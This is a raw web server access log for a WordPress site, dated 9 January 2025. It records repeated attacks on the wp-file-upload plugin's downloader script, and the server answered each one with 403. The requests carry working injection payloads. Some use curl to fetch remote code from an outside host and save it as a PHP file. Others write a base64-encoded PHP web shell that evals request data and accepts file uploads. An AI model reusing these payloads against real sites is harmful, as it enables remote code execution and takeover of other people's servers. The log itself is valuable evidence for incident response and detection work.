access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:10:54:13 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:12:19:25 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2878.13 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:12:19:25 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2878.13 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:12:55:22 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2746.59 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:12:55:22 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2746.59 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:14:14:16 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Win64; x64; Trident/6.0)"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:14:14:17 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Win64; x64; Trident/6.0)"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:16:11:20 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2809.45 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:16:11:20 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2809.45 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:17:16:16 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:18:06:32 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2936.4 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:18:06:32 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2936.4 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:18:23:17 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2974.48 Safari/537.36"
access_log.01-09.txt:62.60.248.247 www.eawhoa.com - [09/Jan/2025:18:26:04 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident/6.0)"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:18:42:00 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:18:42:02 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:19:16:52 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:20:01:44 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2902.68 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:20:01:44 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2902.68 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:20:15:53 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2857.18 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:20:36:08 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2652.79 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:20:36:08 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2652.79 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:21:15:25 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2975.78 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:21:56:10 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:51.0) Gecko/20100101 Firefox/51.0"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:21:56:10 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:51.0) Gecko/20100101 Firefox/51.0"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:22:12:00 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; Win64; x64; Trident/6.0)"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:22:32:14 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2916.66 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:22:32:24 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2916.66 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:23:18:15 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2727.30 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:23:49:14 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2956.17 